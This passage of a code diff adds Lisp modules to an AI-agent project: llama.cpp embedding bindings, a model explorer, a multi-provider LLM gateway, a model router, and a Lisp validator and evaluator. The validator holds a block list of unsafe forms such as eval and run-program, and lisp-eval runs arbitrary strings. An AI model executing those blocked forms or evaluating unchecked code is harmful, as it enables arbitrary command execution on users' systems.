+(cffi:defcfun ("llama_wrap_batch_free" wrap-batch-free) :void (batch :pointer))
+
+(defvar *native-model* nil
+  "Cached llama.cpp model for embedding inference.")
+
+(defvar *native-context* nil
+  "Cached llama.cpp context for embedding inference.")
+
+(defvar *native-vocab* nil
+  "Cached llama.cpp vocab handle (from model).")
+
+(defvar *native-model-path*
+  (merge-pathnames ".local/share/passepartout/models/nomic-embed-text-v1.5.Q4_K_M.gguf"
+                   (user-homedir-pathname))
+  "Path to the bundled embedding model GGUF file.")
+
+(defun embedding-native-load-model ()
+  "Load the embedding model and create a context. Caches globally."
+  (unless (and *native-model* *native-context*)
+    (unless (uiop:file-exists-p *native-model-path*)
+      (error "Native embedding model not found at ~a" *native-model-path*))
+    (sb-int:set-floating-point-modes :traps '())
+    (bl)
+    ;; Load model
+    (cffi:with-foreign-object (mp '(:struct llama-mparams))
+      (mdp mp)
+      (setf (cffi:foreign-slot-value mp '(:struct llama-mparams) 'n-gpu-layers) 0)
+      (setf (cffi:foreign-slot-value mp '(:struct llama-mparams) 'use-mmap) 0)
+      (setf *native-model* (wrap-load (namestring *native-model-path*) mp)))
+    (setf *native-vocab* (gv *native-model*))
+    ;; Create context
+    (let ((n-embd (ne *native-model*)))
+      (cffi:with-foreign-object (cp '(:struct llama-cparams))
+        (cdp cp)
+        (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-ctx) 512)
+        (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-batch) 512)
+        (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-ubatch) 512)
+        (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-seq-max) 1)
+        (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-threads) 2)
+        (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'embeddings) 1)
+        (setf *native-context* (wrap-ctx *native-model* cp)))
+      (format *error-output* "~&;; EMBEDDING: Native model loaded (~d-dim)~%" n-embd)))
+  (values *native-model* *native-context* *native-vocab*))
+
+(defun embedding-backend-native (text)
+  "Compute an embedding vector using the native llama.cpp backend.
+Returns a simple-vector of single-floats (dimension: n_embd, typically 768)."
+  (embedding-native-load-model)
+  (let* ((n-embd (ne *native-model*))
+         (max-tokens 256)
+         (tokens (cffi:foreign-alloc :int32 :count max-tokens))
+         (n-tok 0))
+    (unwind-protect
+        (progn
+          (setf n-tok (tok *native-vocab* text (length text) tokens max-tokens t t))
+          (when (zerop n-tok)
+            (error "Native embedding: tokenization returned 0 tokens for ~s" text))
+          (let ((result (make-array n-embd :element-type 'single-float :initial-element 0.0f0)))
+            (cffi:with-foreign-object (batch '(:struct llama-batch))
+              (wrap-batch-init batch n-tok 0 1)
+              (setf (cffi:foreign-slot-value batch '(:struct llama-batch) 'n-tokens) n-tok)
+              (dotimes (i n-tok)
+                (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'token) :int32 i)
+                      (cffi:mem-aref tokens :int32 i))
+                (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'pos) :int32 i) i)
+                (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'n-seq-id) :int32 i) 1)
+                (setf (cffi:mem-aref (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'seq-id) :pointer i) :int32 0) 0)
+                (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'logits) :int8 i) 1))
+              (let ((enc (wrap-encode *native-context* batch)))
+                (unless (zerop enc)
+                  (error "Native embedding: encode returned ~d" enc)))
+              (let* ((pooling (get-pooling *native-context*))
+                     (eptr (if (= pooling 0)
+                               (embd-ith *native-context* (1- n-tok))
+                               (embd-seq *native-context* 0))))
+                (dotimes (i n-embd)
+                  (setf (aref result i) (cffi:mem-aref eptr :float i))))
+              (wrap-batch-free batch))
+            result))
+      (cffi:foreign-free tokens))))
+
+(defun embedding-native-unload ()
+  "Release native model and context memory."
+  (when *native-context*
+    (fc *native-context*)
+    (setf *native-context* nil))
+  (when *native-model*
+    (fm *native-model*)
+    (setf *native-model* nil *native-vocab* nil))
+  (values))
+
+(defun embedding-native-get-dim ()
+  "Return embedding dimension of loaded native model (0 if not loaded)."
+  (if *native-model*
+      (ne *native-model*)
+      0))
+
+(defun vector-cosine-similarity (a b)
+  "Cosine similarity between two simple-vectors of single-floats."
+  (let ((dot 0.0d0) (anorm 0.0d0) (bnorm 0.0d0))
+    (dotimes (i (length a))
+      (let ((af (float (aref a i) 0.0d0))
+            (bf (float (aref b i) 0.0d0)))
+        (incf dot (* af bf))
+        (incf anorm (* af af))
+        (incf bnorm (* bf bf))))
+    (if (or (zerop anorm) (zerop bnorm))
+        0.0d0
+        (/ dot (sqrt (* anorm bnorm))))))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-embedding-native-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:embedding-native-suite))
+
+(in-package :passepartout-embedding-native-tests)
+
+(def-suite embedding-native-suite :description "Verification of Native Embedding Inference")
+(in-suite embedding-native-suite)
+
+(test test-native-embedding-available
+  "Contract v0.4.1: backend function exists and model file is present."
+  (is (fboundp 'passepartout::embedding-backend-native))
+  (is (uiop:file-exists-p passepartout::*native-model-path*)))
+
+(test test-native-embedding-loads
+  "Contract v0.4.1: model loads and produces a valid context."
+  (finishes (passepartout::embedding-native-load-model)))
+
+(test test-native-embedding-dimensions
+  "Contract v0.4.1: embedding produces correct-dimensional vector."
+  (let ((vec (passepartout::embedding-backend-native "test sentence")))
+    (is (vectorp vec))
+    (is (= (length vec) 768))
+    (is (typep (aref vec 0) 'single-float))))
+
+(test test-native-embedding-identical
+  "Contract v0.4.1: identical texts produce identical embeddings."
+  (let ((v1 (passepartout::embedding-backend-native "hello world"))
+        (v2 (passepartout::embedding-backend-native "hello world")))
+    (is (= (length v1) (length v2)))
+    (let ((sim (passepartout::vector-cosine-similarity v1 v2)))
+      (is (> sim 0.9999)))))
+
+(test test-native-embedding-similar
+  "Contract v0.4.1: semantically similar texts are closer than unrelated."
+  (let ((v-auth (passepartout::embedding-backend-native "implement user login form"))
+        (v-related (passepartout::embedding-backend-native "add password authentication"))
+        (v-unrelated (passepartout::embedding-backend-native "banana fruit yellow")))
+    (let ((sim-related (passepartout::vector-cosine-similarity v-auth v-related))
+          (sim-unrelated (passepartout::vector-cosine-similarity v-auth v-unrelated)))
+      (is (> sim-related 0.5))
+      (is (> sim-related sim-unrelated)))))

lisp/neuro-explorer.lisp

@@ -0,0 +1,109 @@
+(in-package :passepartout)
+
+(defvar *model-cache* (make-hash-table :test 'equal)
+  "Cache: provider keyword -> (timestamp . model-list)")
+
+(defvar *model-cache-ttl* 300
+  "Cache TTL in seconds (default 5 min)")
+
+(defun model-explorer-fetch-openrouter ()
+  "Query OpenRouter /api/v1/models and return parsed model list."
+  (handler-case
+      (let* ((raw (dex:get "https://openrouter.ai/api/v1/models" :connect-timeout 10 :read-timeout 20))
+             (json (cl-json:decode-json-from-string raw))
+             (data (cdr (assoc :data json))))
+        (mapcar (lambda (m)
+                  (let ((pricing (cdr (assoc :pricing m))))
+                    (list :id (cdr (assoc :id m))
+                          :name (cdr (assoc :name m))
+                          :context (cdr (assoc :context_length m))
+                          :free (and pricing
+                                     (string= "0" (cdr (assoc :prompt pricing)))
+                                     (string= "0" (cdr (assoc :completion pricing)))))))
+                data))
+    (error (c)
+      (log-message "MODEL-EXPLORER: OpenRouter API error: ~a" c)
+      nil)))
+
+(defun model-explorer-fetch (provider)
+  "Fetch available models for PROVIDER. Returns list of (:id :name :context :free) plists."
+  (let ((cached (gethash provider *model-cache*)))
+    (when (and cached (< (- (get-universal-time) (car cached)) *model-cache-ttl*))
+      (return-from model-explorer-fetch (cdr cached))))
+  (let ((models (case provider
+                  (:openrouter (model-explorer-fetch-openrouter))
+                  (t nil))))
+    (when models
+      (setf (gethash provider *model-cache*)
+            (cons (get-universal-time) models)))
+    models))
+
+(defun model-explorer-list-free ()
+  "Return all free models from cache or fetch."
+  (remove-if-not (lambda (m) (getf m :free)) (model-explorer-fetch :openrouter)))
+
+(defun model-explorer-recommend (slot)
+  "Return recommended models for SLOT (:code, :chat, :plan, :background)."
+  (case slot
+    (:code
+     '((:id "qwen/qwen3-coder:free" :name "Qwen3 Coder 480B" :context 262000 :free t :note "Top-tier code MoE, 35B active")
+       (:id "poolside/laguna-m.1:free" :name "Laguna M.1" :context 131072 :free t :note "Flagship coding agent")
+       (:id "openai/gpt-oss-120b:free" :name "gpt-oss-120b" :context 131072 :free t :note "117B MoE open-weight coding")))
+    (:plan
+     '((:id "openrouter/owl-alpha" :name "Owl Alpha" :context 1048756 :free t :note "Agentic, tool use, reasoning")
+       (:id "nousresearch/hermes-3-llama-3.1-405b:free" :name "Hermes 3 405B" :context 131072 :free t :note "405B generalist, strong planning")
+       (:id "minimax/minimax-m2.5:free" :name "MiniMax M2.5" :context 196608 :free t :note "SOTA productivity, long context")))
+    (:chat
+     '((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Strong multilingual generalist")
+       (:id "google/gemma-4-31b-it:free" :name "Gemma 4 31B" :context 262144 :free t :note "Dense 31B, thinking mode, long context")
+       (:id "mistralai/mistral-nemo:free" :name "Mistral Nemo" :context 32768 :free t :note "Fast, good for casual conversation")))
+    (:background
+     '((:id "meta-llama/llama-3.2-3b-instruct:free" :name "Llama 3.2 3B" :context 131072 :free t :note "Small, fast, efficient")
+       (:id "liquid/lfm-2.5-1.2b-instruct:free" :name "LFM 2.5 1.2B" :context 32768 :free t :note "Ultra-compact, edge-ready")))
+     (t '((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Safe fallback")))))
+
+(defvar *slot-descriptions*
+  '((:code . "Code generation, refactoring, debugging. Needs strong reasoning and large context.\nRecommend: Qwen3 Coder (free, 35B active) or Laguna M.1 (coding agent).")
+    (:chat . "Casual conversation, Q&A, creative writing. Prefer balanced quality, low latency.\nRecommend: Llama 3.3 70B (strong generalist) or Gemma 4 31B (thinking mode).")
+    (:plan . "Strategic planning, architecture design, complex multi-step reasoning.\nRecommend: Owl Alpha (free, tool use, 1M ctx) or Hermes 3 405B (strongest free reasoning).")
+    (:background . "Heartbeat summaries, delegation responses, tool output filtering. Must be small + fast.\nRecommend: Llama 3.2 3B (131K ctx, fast) or LFM 2.5 1.2B (edge-ready).")))
+
+;; REPL-verified: 2026-05-04
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ignore-errors (ql:quickload :fiveam :silent t)))
+
+(defpackage :passepartout-neuro-explorer-tests
+  (:use :cl :passepartout)
+  (:export #:model-explorer-suite))
+
+(in-package :passepartout-neuro-explorer-tests)
+
+(fiveam:def-suite model-explorer-suite :description "Tests for the model explorer skill")
+
+(fiveam:in-suite model-explorer-suite)
+
+(fiveam:test model-explorer-recommend-slots
+  "Contract 1: recommend returns models for all standard slots."
+  (dolist (slot '(:code :chat :plan :background))
+    (let ((recs (passepartout::model-explorer-recommend slot)))
+      (fiveam:is (listp recs))
+      (fiveam:is (>= (length recs) 1)))))
+
+(fiveam:test model-explorer-recommend-format
+  "Contract 1: each recommendation has :id and :name."
+  (dolist (rec (passepartout::model-explorer-recommend :chat))
+    (fiveam:is (getf rec :id))
+    (fiveam:is (getf rec :name))))
+
+(fiveam:test model-explorer-recommend-unknown-slot
+  "Contract 1: unknown slot returns fallback list."
+  (let ((recs (passepartout::model-explorer-recommend :unknown)))
+    (fiveam:is (listp recs))
+    (fiveam:is (>= (length recs) 1))))
+
+(fiveam:test model-explorer-fetch-openrouter-count
+  "Contract 2: OpenRouter API returns at least 300 models."
+  (let ((models (passepartout::model-explorer-fetch :openrouter)))
+    (if models
+        (fiveam:is (>= (length models) 300))
+        (fiveam:skip "API unreachable"))))

lisp/neuro-provider.lisp

@@ -0,0 +1,300 @@
+(in-package :passepartout)
+
+(defparameter *provider-configs*
+  '((:local      . (:base-url nil          :key-env nil           :url-env "LOCAL_BASE_URL"            :default-model "llama3"))
+    (:openrouter . (:base-url "https://openrouter.ai/api/v1" :key-env "OPENROUTER_API_KEY" :default-model "openrouter/auto"))
+    (:openai     . (:base-url "https://api.openai.com/v1"    :key-env "OPENAI_API_KEY"     :default-model "gpt-4o-mini"))
+    (:anthropic  . (:base-url "https://api.anthropic.com/v1" :key-env "ANTHROPIC_API_KEY"  :default-model "claude-3-5-sonnet-20241022"))
+    (:groq       . (:base-url "https://api.groq.com/openai/v1" :key-env "GROQ_API_KEY"     :default-model "llama-3.1-70b-versatile"))
+    (:gemini     . (:base-url "https://generativelanguage.googleapis.com/v1beta/openai" :key-env "GEMINI_API_KEY" :default-model "gemini-2.0-flash"))
+    (:deepseek   . (:base-url "https://api.deepseek.com/v1"  :key-env "DEEPSEEK_API_KEY"  :default-model "deepseek-chat"))
+    (:nvidia     . (:base-url "https://integrate.api.nvidia.com/v1" :key-env "NVIDIA_API_KEY" :default-model "meta/llama-3.1-405b-instruct"))))
+
+(defun provider-config (provider)
+  "Returns the configuration plist for a provider keyword."
+  (cdr (assoc provider *provider-configs*)))
+
+(defun provider-available-p (provider)
+  "Checks if a provider is configured. Checks API key or URL env vars."
+  (let* ((config (provider-config provider))
+         (key-env (getf config :key-env))
+         (url-env (getf config :url-env))
+         (base-url (getf config :base-url)))
+    (cond (key-env (let ((key (uiop:getenv key-env))) (and key (> (length key) 0))))
+          (url-env (let ((url (uiop:getenv url-env))) (and url (> (length url) 0))))
+          (base-url t))))
+
+(defun provider-openai-request (prompt system-prompt &key model (provider :openrouter) tools)
+  "Executes a request against any OpenAI-compatible API endpoint.
+When :tools is provided, includes function-calling tool definitions in the request."
+  (let* ((config (provider-config provider))
+         (base-url (getf config :base-url))
+         (key-env (getf config :key-env))
+         (url-env (getf config :url-env))
+         (default-model (getf config :default-model))
+         (api-key (when key-env (uiop:getenv key-env)))
+         (model-id (or model default-model))
+         (url (if url-env
+                  (let ((host (uiop:getenv url-env)))
+                    (if host
+                        (format nil "http://~a/v1/chat/completions" host)
+                        (format nil "~a/chat/completions" base-url)))
+                  (format nil "~a/chat/completions" base-url)))
+         (timeout (or (ignore-errors
+                        (parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT")))
+                      30))
+         (headers `(("Content-Type" . "application/json")
+                    ,@(when api-key `(("Authorization" . ,(format nil "Bearer ~a" api-key))))
+                    ,@(when (eq provider :openrouter)
+                        `(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout")
+                          ("X-Title" . "Passepartout")))))
+         (body (let ((base `((model . ,model-id)
+                            (messages . (( (role . "system") (content . ,system-prompt) )
+                                         ( (role . "user") (content . ,prompt) ))))))
+                 (if tools
+                     (append base
+                             `((tools . ,(loop for tool in tools
+                                                collect (list (cons :|type| "function")
+                                                              (cons :|function| (loop for (k v) on tool by #'cddr
+                                                                                      collect (cons (intern (string-upcase (string k)) "KEYWORD") v))))))
+                               (:|tool_choice| . "auto")))
+                     base)))
+         (body-json (cl-json:encode-json-to-string body)))
+    (handler-case
+        (let* ((response (dex:post url :headers headers :content body-json
+                                  :connect-timeout (min 5 timeout)
+                                  :read-timeout (max 10 (- timeout 5))))
+               (json (cl-json:decode-json-from-string response))
+               (choices (cdr (assoc :choices json)))
+               (first-choice (car choices))
+               (message (cdr (assoc :message first-choice)))
+               (tool-calls (cdr (assoc :|tool_calls| message)))
+               (content (cdr (assoc :content message))))
+          (cond
+            (tool-calls
+             (list :status :success
+                   :tool-calls
+                   (loop for tc in tool-calls
+                         for fun = (cdr (assoc :|function| tc))
+                         for args-str = (cdr (assoc :|arguments| fun))
+                         for args = (when args-str (cl-json:decode-json-from-string args-str))
+                         collect (list :name (cdr (assoc :|name| fun))
+                                       :arguments args))))
+            (content
+             (list :status :success :content content))
+            (t
+             (list :status :error :message (format nil "~a: No content" provider)))))
+      (error (c)
+        (list :status :error :message (format nil "~a Failure: ~a" provider c))))))
+
+(defun provider-register-all ()
+  "Scans environment variables and registers all available LLM backends."
+  (dolist (entry *provider-configs*)
+    (let ((provider (car entry)))
+      (when (provider-available-p provider)
+        (log-message "LLM BACKEND: Registering provider ~a" provider)
+        (register-probabilistic-backend provider
+          (lambda (prompt system-prompt &key model tools)
+            (provider-openai-request prompt system-prompt :model model :provider provider :tools tools)))))))
+
+(defun provider-cascade-initialize ()
+  "Reads PROVIDER_CASCADE from env and sets *provider-cascade*."
+  (let ((cascade-str (uiop:getenv "PROVIDER_CASCADE")))
+    (if cascade-str
+        (setf *provider-cascade*
+              (mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword))
+                      (uiop:split-string cascade-str :separator '(#\,))))
+        (setf *provider-cascade* (mapcar #'car (remove-if (lambda (e)
+                                                             (member (car e) '(:local)))
+                                                           *provider-configs*))))))
+
+(defun test-provider-connection (provider &optional api-key)
+  "Test a provider API key by hitting its models endpoint.
+Returns (:ok) on success, (:fail reason) on failure.
+If API-KEY is nil, reads from environment."
+  (let* ((config (provider-config provider))
+         (base-url (getf config :base-url))
+         (key-env (getf config :key-env))
+         (url-env (getf config :url-env))
+         (key (or api-key (when key-env (uiop:getenv key-env)))))
+    (handler-case
+        (let ((url (if url-env
+                       (let ((host (or (uiop:getenv url-env) "")))
+                         (format nil "http://~a/api/tags" host))
+                       (format nil "~a/models" (or base-url "")))))
+          (if key-env
+              (progn (dex:get url :headers `(("Authorization" . ,(format nil "Bearer ~a" key)))
+                              :connect-timeout 5 :read-timeout 10)
+                     '(:ok))
+              (if url-env
+                  (progn (dex:get url :connect-timeout 5 :read-timeout 10) '(:ok))
+                  '(:fail "No URL source for this provider"))))
+      (error (c) `(:fail ,(format nil "~a" c))))))
+
+(provider-register-all)
+(provider-cascade-initialize)
+
+(defskill :passepartout-neuro-provider
+  :priority 50
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
+
+(defun cascade-stream (prompt system-prompt callback)
+  "Streaming cascade: calls provider-openai-stream on the first available backend.
+Calls CALLBACK with each delta string, then with '' to signal end-of-stream."
+  (dolist (backend *provider-cascade*)
+    (when (gethash backend *probabilistic-backends*)
+      (let ((result (provider-openai-stream prompt system-prompt callback
+                                           :provider backend)))
+        (when (eq (getf result :status) :success)
+          (return cascade-stream))))))
+
+(in-package :passepartout)
+
+(defun parse-sse-line (line)
+  "Parse an SSE line. Returns data string, :done for [DONE], nil otherwise."
+  (cond
+    ((or (null line) (string= line "")) nil)
+    ((char= (char line 0) #\:) nil)
+    ((and (>= (length line) 6) (string-equal (subseq line 0 6) "data: "))
+     (let ((content (subseq line 6)))
+       (if (string= content "[DONE]")
+           :done
+           content)))
+    (t nil)))
+
+(defvar *stream-cancel* nil
+  "When T, the streaming SSE loop exits early.")
+
+(defun provider-openai-stream (prompt system-prompt callback &key model (provider :openrouter) tools)
+  "Streaming OpenAI-compatible request. Calls CALLBACK with each delta, then ''."
+  (let* ((config (provider-config provider))
+         (base-url (getf config :base-url))
+         (key-env (getf config :key-env))
+         (url-env (getf config :url-env))
+         (default-model (getf config :default-model))
+         (api-key (when key-env (uiop:getenv key-env)))
+         (model-id (or model default-model))
+         (url (if url-env
+                  (let ((host (uiop:getenv url-env)))
+                    (if host
+                        (format nil "http://~a/v1/chat/completions" host)
+                        (format nil "~a/chat/completions" base-url)))
+                  (format nil "~a/chat/completions" base-url)))
+         (timeout (or (ignore-errors (parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT"))) 30))
+         (req-headers (list (cons "Content-Type" "application/json")))
+         (base `((model . ,model-id)
+                 (messages . (( (role . "system") (content . ,system-prompt) )
+                              ( (role . "user") (content . ,prompt) )))
+                 (stream . t))))
+    (when api-key
+      (push (cons "Authorization" (format nil "Bearer ~a" api-key)) req-headers))
+    (when (eq provider :openrouter)
+      (setf req-headers
+            (append req-headers
+                    `(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout")
+                      ("X-Title" . "Passepartout")))))
+    (let ((body (if tools
+                    (append base
+                            `((tools . ,(loop for tool in tools
+                                              collect (list (cons :|type| "function")
+                                                            (cons :|function|
+                                                                  (loop for (k v) on tool by #'cddr
+                                                                        collect (cons (intern (string-upcase (string k)) "KEYWORD") v))))))
+                              (:|tool_choice| . "auto")))
+                    base)))
+      (handler-case
+          (let* ((body-json (cl-json:encode-json-to-string body))
+                 (stall-seconds 30)
+                 (s (dex:post url :headers req-headers :content body-json
+                             :connect-timeout (min 5 timeout)
+                             :read-timeout stall-seconds
+                             :want-stream t)))
+            ;; v0.7.1: track stall timer — reset on each successful chunk
+            (let ((last-chunk-time (get-universal-time)))
+              (loop for raw = (handler-case (read-line s nil nil)
+                                (error (c)
+                                  (declare (ignore c))
+                                  nil))
+                     while raw
+                     do (when *stream-cancel*  ; v0.7.1: cancel check
+                          (setf *stream-cancel* nil)
+                          (funcall callback " [cancelled]")
+                          (return))
+                        (let ((parsed (parse-sse-line raw)))
+                         (cond
+                           ((null parsed))
+                           ((eq parsed :done) (return))
+                           (t (handler-case
+                                  (let* ((json (cl-json:decode-json-from-string parsed))
+                                         (choices (cdr (assoc :choices json)))
+                                         (choice (car choices))
+                                         (delta (cdr (assoc :delta choice)))
+                                         (content (cdr (assoc :content delta))))
+                                    (when content
+                                      (funcall callback content)
+                                      (setf last-chunk-time (get-universal-time))))
+                                (error ())))))
+                    (when (> (- (get-universal-time) last-chunk-time) stall-seconds)
+                      (funcall callback "[Response stalled — timed out at 30s]")
+                      (return))))
+            (funcall callback "")
+            (close s)
+            (list :status :success))
+        (error (c)
+          (list :status :error :message (format nil "~a Stream Failure: ~a" provider c)))))))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-llm-gateway-tests
+  (:use :cl :passepartout)
+  (:export #:llm-gateway-suite))
+
+(in-package :passepartout-llm-gateway-tests)
+
+(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
+(fiveam:in-suite llm-gateway-suite)
+
+(fiveam:test test-provider-rejects-bad-keyword
+  "Contract 3: provider-config returns nil for unregistered provider."
+  (let ((config (provider-config :not-a-real-provider)))
+    (fiveam:is (null config))))
+
+(fiveam:test test-provider-config-registered
+  "Contract 1: provider-config returns configuration plist for registered provider."
+  (let ((config (provider-config :openrouter)))
+    (fiveam:is (listp config))
+    (fiveam:is (getf config :base-url))))
+
+(fiveam:test test-provider-accepts-tools-parameter
+  "Contract 4: provider-openai-request accepts :tools parameter without error."
+  (let ((result (provider-openai-request "test" "system" :tools (list))))
+    (fiveam:is (member (getf result :status) '(:success :error)))))
+
+;; ── v0.7.1 Streaming ──
+
+(fiveam:test test-parse-sse-line-data
+  "Contract 6: parse-sse-line extracts content from data: lines."
+  (fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
+  (fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
+
+(fiveam:test test-parse-sse-line-done
+  "Contract 6: parse-sse-line returns :done for [DONE]."
+  (fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
+
+(fiveam:test test-parse-sse-line-nil
+  "Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
+  (fiveam:is (null (passepartout::parse-sse-line "")))
+  (fiveam:is (null (passepartout::parse-sse-line ":ok")))
+  (fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
+
+(fiveam:test test-provider-openai-stream-calls-callback
+  "Contract 5: provider-openai-stream calls callback with deltas and final empty string."
+  (let ((collected '()))
+    (flet ((collector (text) (push text collected)))
+      (passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
+    (let* ((reversed (nreverse collected))
+           (last (car (last reversed))))
+      (fiveam:is (stringp last))
+      (fiveam:is (string= "" last))
+      (fiveam:is (>= (length reversed) 2)))))

lisp/neuro-router.lisp

@@ -0,0 +1,90 @@
+(in-package :passepartout)
+
+(defvar *model-cascade-code* nil
+  "Cascade for :code tasks: ((:ollama . \"model\") ...)")
+
+(defvar *model-cascade-plan* nil
+  "Cascade for :plan tasks.")
+
+(defvar *model-cascade-chat* nil
+  "Cascade for :chat tasks.")
+
+(defvar *model-cascade-background* nil
+  "Cascade for background tasks (heartbeat, delegation).")
+
+(defvar *local-backends* '(:ollama :llama-cpp)
+  "Backend keywords considered local (privacy-safe).")
+
+(defun model-classify-complexity (text)
+  "Classify TEXT into :code, :plan, or :chat."
+  (let ((lower (string-downcase text)))
+    (cond
+      ((or (search "defun" lower) (search "defmacro" lower)
+           (search "write" lower) (search "refactor" lower)
+           (search "fix " lower) (search "implement" lower)
+           (search "code" lower)
+           (search "#+begin_src" lower))
+       :code)
+      ((or (search "plan" lower) (search "roadmap" lower)
+           (search "strategy" lower) (search "design" lower)
+           (search "architecture" lower))
+       :plan)
+      (t :chat))))
+
+(defun model-cascade-find (cascade backend)
+  "Find first (PROVIDER . MODEL) in CASCADE matching BACKEND."
+  (assoc backend cascade
+         :test (lambda (a b) (string-equal (string a) (string b)))))
+
+(defun model-select (backend context)
+  "Select model for BACKEND given CONTEXT signal.
+Returns model name or :skip."
+  (let* ((payload (getf context :payload))
+         (text (or (getf payload :text) ""))
+         (sensor (getf payload :sensor))
+         (has-personal (and (boundp '*dispatcher-privacy-tags*)
+                            (some (lambda (tag) (search tag text))
+                                  (symbol-value '*dispatcher-privacy-tags*))))
+         (is-local (member backend *local-backends*)))
+    ;; Privacy: skip cloud backends for personal content
+    (when (and has-personal (not is-local))
+      (log-message "MODEL-ROUTER: Skipping ~a (personal content)" backend)
+      (return-from model-select :skip))
+    ;; Quadrant: background tasks use background cascade
+    (if (member sensor '(:heartbeat :delegation :tool-output :loop-error))
+        (let ((entry (car (or *model-cascade-background*
+                              '((:ollama . "phi-2"))))))
+          (cdr entry))
+        ;; Foreground: classify complexity, use slot cascade
+        (let* ((slot (model-classify-complexity text))
+               (cascade (case slot
+                          (:code *model-cascade-code*)
+                          (:plan *model-cascade-plan*)
+                          (t *model-cascade-chat*)))
+               (entry (model-cascade-find
+                       (or cascade '((:ollama . "qwen2.5:14b"))) backend)))
+          (if entry (cdr entry) nil)))))
+
+(defun model-router-init ()
+  "Read env vars and wire model-select into *model-selector*."
+  (flet ((parse-cascade (str)
+           (when (and str (> (length str) 0))
+             (let ((*read-eval* nil))
+               (read-from-string str)))))
+    (setf *model-cascade-code* (parse-cascade (uiop:getenv "MODEL_CASCADE_CODE"))
+          *model-cascade-plan* (parse-cascade (uiop:getenv "MODEL_CASCADE_PLAN"))
+          *model-cascade-chat* (parse-cascade (uiop:getenv "MODEL_CASCADE_CHAT"))
+          *model-cascade-background* (parse-cascade (uiop:getenv "MODEL_CASCADE_BACKGROUND"))
+          *local-backends* (let ((env (uiop:getenv "LOCAL_BACKENDS")))
+                             (if env
+                                 (mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword))
+                                         (uiop:split-string env :separator '(#\,)))
+                                 '(:ollama :llama-cpp)))))
+    (setf *model-selector* #'model-select)
+    (log-message "MODEL-ROUTER: Initialized, selector=~a" *model-selector*))
+
+(defskill :passepartout-model-router
+  :priority 250
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
+
+(model-router-init)

lisp/programming-lisp.lisp

@@ -0,0 +1,260 @@
+(in-package :passepartout)
+
+(defun lisp-structural-check (code)
+  "Checks if parentheses are balanced and the code is readable."
+  (handler-case
+      (let ((*read-eval* nil))
+        (with-input-from-string (s code)
+          (loop for form = (read s nil :eof) until (eq form :eof)))
+        (values t nil))
+    (error (c)
+      (values nil (format nil "Reader Error: ~a" c)))))
+
+(defun lisp-syntactic-check (code)
+  "Checks for valid Lisp syntax beyond just balanced parentheses."
+  (lisp-structural-check code))
+
+(defun lisp-semantic-check (code)
+  "Checks for potentially unsafe forms."
+  (let ((unsafe-tokens '("eval" "load" "uiop:run-program" "sb-ext:run-program" "cl-user::eval")))
+    (loop for token in unsafe-tokens
+          when (search token (string-downcase code))
+          do (return-from lisp-semantic-check (values nil (format nil "Unsafe form detected: ~a" token))))
+    (values t nil)))
+
+(defun lisp-validate (code &key (strict t))
+  "Unified validation gate for Lisp code."
+  (multiple-value-bind (struct-ok struct-err) (lisp-structural-check code)
+    (unless struct-ok
+      (return-from lisp-validate (list :status :error :reason struct-err)))
+    (when strict
+      (multiple-value-bind (sem-ok sem-err) (lisp-semantic-check code)
+        (unless sem-ok
+          (return-from lisp-validate (list :status :error :reason sem-err)))))
+    (list :status :success)))
+
+(defun lisp-eval (code-string &key (package :passepartout))
+  "Evaluates a Lisp string and captures its output/results."
+  (let ((out (make-string-output-stream))
+        (err (make-string-output-stream)))
+    (handler-case
+        (let* ((*standard-output* out)
+               (*error-output* err)
+               (*package* (or (find-package package) (find-package :passepartout)))
+               (result (with-input-from-string (s code-string)
+                         (let ((last-val nil))
+                           (loop for form = (read s nil :eof) until (eq form :eof)
+                                 do (setf last-val (eval form)))
+                           last-val))))
+          (list :status :success
+                :result (format nil "~a" result)
+                :output (get-output-stream-string out)
+                :error (get-output-stream-string err)))
+      (error (c)
+        (list :status :error
+              :reason (format nil "~a" c)
+              :output (get-output-stream-string out)
+              :error (get-output-stream-string err))))))
+
+(defun lisp-format (code-string)
+  "Attempts to format Lisp code using Emacs batch mode if available."
+  (handler-case
+      (let ((tmp-file "/tmp/oc-format-temp.lisp"))
+        (uiop:with-output-file (s tmp-file :if-exists :supersede)
+          (format s "~a" code-string))
+        (multiple-value-bind (out err code)
+            (uiop:run-program (list "emacs" "--batch" tmp-file 
+                                   "--eval" "(indent-region (point-min) (point-max))"
